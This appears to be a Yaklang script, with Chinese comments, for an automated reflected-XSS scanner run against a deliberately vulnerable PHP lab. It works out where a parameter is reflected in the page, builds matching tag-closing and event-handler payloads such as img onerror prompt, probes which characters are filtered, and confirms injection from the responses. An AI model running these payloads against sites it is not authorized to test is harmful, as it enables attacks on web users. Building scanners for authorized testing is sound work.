git clone https://github.com/yaklang/vulinonecd php-web-for-pentesterdocker-compose up -d

randStr = str.RandStr(5)respChannel, err = param.Fuzz(randStr).Exec()die(err)rssp = <-respChannelrawBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)die(err)matchNodes = xhtml.Find(rawBody, randStr)

1.(tag)标签内文本: 构造标签闭合2.(attr)属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码3.(comment)注释：构造标签闭合4.(js)script 标签内：构造标签闭合或dom型

payloads = []
for _, matchNode = range matchNodes {
    if matchNode.IsText() {        /*         4. script标签内        例：<script>a = '<参数>';</script>         */        if matchNode.TagName == "script" {            // 引号判断            matchText = matchNode.MatchText            randStrIndex = str.Index(matchNode.MatchText, randStr)            quote = ""            for {                randStrIndex -= 1                if randStrIndex < 0{                    break                }                chr = string(matchText[randStrIndex])                if chr == "=" {                    break                } elif chr == """ {                    quote = """                }elif chr == "'" {                    quote = "'"                }            }
            payloads = append(payloads, newPayload(sprintf("1%s;prompt('%s');%s", quote, verifyRandStr, quote), ";"+quote, "js"))
            payloads = append(payloads, newPayload(sprintf("1%s;</%s><img id='%s' src=1 onerror='prompt(1)'><%s>%s", quote, matchNode.TagName, verifyRandStr, matchNode.TagName, quote), "<>"+quote, "tag"))        } else {            /*            1.标签内文本: 构造标签闭合            例：<div><参数></div>            */            payloads = append(payloads, newPayload(sprintf("</%s><img id='%s' src=1 onerror='prompt(1)'><%s>", matchNode.TagName, verifyRandStr, matchNode.TagName), "<>", "tag"))        }    } elif matchNode.IsAttr() {        /*        2.属性: 构造标签闭合或伪协议,如果是特殊属性可以直接使用javascript代码        例：<div id="<参数>"></div> <img src=1 onerror="<参数>"></div>         */        attrName = str.ToUpper(matchNode.Key)
        // 特殊属性处理        if specialAttr(attrName) {            payload = specialAttrPayload(attrName, verifyRandStr)            payloads = append(payloads, newPayload(payload, "", "spec-attr"))        } else {            payload = sprintf(""></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s="", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)            payloads = append(payloads, newPayload(payload, "<>/", "attr"))
            payload = sprintf("'></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s='", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)            payloads = append(payloads, newPayload(payload, "<>/", "attr"))
            payload = sprintf("></%s><img id='%s' src=1 onerror='prompt(1)'><%s %s=", matchNode.TagName, verifyRandStr, matchNode.TagName, matchNode.Key)            payloads = append(payloads, newPayload(payload, "<>/", "attr"))        }    } elif matchNode.IsCOMMENT() {        /*        3.注释：构造标签闭合        例：<!-- <参数> -->        */        payloads = append(payloads, newPayload(sprintf("-->%s<script>prompt(1);</script><!--", verifyRandStr), "<>-", "comment"))    }}

// ! 四 检测危险字符并过滤payloadfilterChars = []allDangerousChars = ["<", ">", "'", """, "/", "-"]i = 0
detectPayload = randStr + str.Join(allDangerousChars, randStr) + randStrresp, err = param.Fuzz(detectPayload).Exec()die(err)rspo = <-respbody, err = str.ExtractBodyFromHTTPResponseRaw(rspo.ResponseRaw)die(err)randStrFromIndex = string(body)
for {    n, btChr = xhtml.MatchBetween(randStrFromIndex, randStr, randStr, 50)    if n == -1 || i >= len(allDangerousChars){        break    }
    if allDangerousChars[i] != btChr {        pass = false        filterChars = append(filterChars, string(allDangerousChars[i]))    }    randStrFromIndex = randStrFromIndex[n:]    i += 1}log.debug(sprintf("[%d]filterChars: %s", len(filterChars), filterChars))

payloadFuzzTask = func(swg, resultCh, url, param, verifyRandStr, payload) {    swg.Add()
    go func {        defer swg.Done()

        freq = param.Fuzz(payload.value)         httpReq, err = freq.GetFirstFuzzHTTPRequest()        checkErr(err)        rawReq, err = httpReq.GetOriginHTTPRequest()        checkErr(err)        reqBody, err = http.dump(rawReq)        checkErr(err)        reqBody = string(reqBody)        respChannel,err =  freq.Exec()        checkErr(err)        rssp = <-respChannel        newBody, err = str.ExtractBodyFromHTTPResponseRaw(rssp.ResponseRaw)        checkErr(err)
        existVuln = false         maybeVuln = false        extraMsg = ""        payloadType = payload.payloadType
        if payloadType == "js" {        verifyMatchNodes = xhtml.Find(newBody, verifyRandStr) // js类型的payload判断漏洞存在条件为: js中包含"verifyRandStr"这个字符串字面量            for _, matchNode = range verifyMatchNodes {                if matchNode.TagName != "script" {                    continue                }                result,err = js.ASTWalk(matchNode.MatchText)                if err != nil { // 如果ASTWalk报错，则可能存在xss                    existVuln = true                    maybeVuln = true                    break                }

                for _,s = range result.StringLiteral{                    if s == verifyRandStr {                        existVuln = true                        break                    }                }
                if len(result.BadSyntax) > 0 { // 如果js语法出现错误，则可能存在xss                    existVuln = true                    maybeVuln = true                    break                }            }        } else {            if payloadType == "comment" { // comment类型的payload判断漏洞存在条件: 逃出注释                verifyMatchNodes = xhtml.Find(newBody, verifyRandStr)                 for _, matchNode = range verifyMatchNodes {                    if matchNode.IsText() && matchNode.MatchText == verifyRandStr {                        existVuln = true                        break                    }                }            } elif str.HasPrefix(payloadType, "spec") { // ! 对spec-attr类型的漏洞不做判断,可能存在误报                existVuln = true                maybeVuln = true            } else { // tag或attr类型的payload判断漏洞存在条件: 存在属性值为verifyRandStr的节点，证明标签逃逸或者属性逃逸                verifyMatchNodes = xhtml.Find(newBody, verifyRandStr)                 for _, matchNode = range verifyMatchNodes {                    if matchNode.IsAttr() && matchNode.Key == "id" && matchNode.Value == verifyRandStr {                        existVuln = true                        break                    }                }            }         }
        if existVuln {            result = newResult(maybeVuln, url, param, payload, reqBody, newBody)            resultCh <- result        }    }}

// 最后结果 日志输出xssLog = func(result, saveDB) {    maybeVuln = result.maybeVuln    url = result.url    param = result.param     payload = result.payload    reqRaw = result.reqRaw      respRaw = result.respRaw
    if maybeVuln {        msg = "Maybe xss"    } else {        msg = "Found xss"    }    payloadString := sprintf("%s=%s", param.Name(), payload.value)
    report = {"message": msg, "payload": payloadString, "payload_type": payload.payloadType, "param_position": param.PositionVerbose()}
    yakit_output(report)    if saveDB {        risk.NewRisk(            url,            risk.title(sprintf("XSS for: %v", url)),            risk.details(report),            risk.type("xss"),            risk.payload(payloadString),            risk.request(reqRaw),             risk.response(respRaw),            risk.severity("warning"),        )    }}
// ! 六 输出结果saveDB = true for result = range resultCh {    xssLog(result, saveDB)    if saveDB {        saveDB = false    }}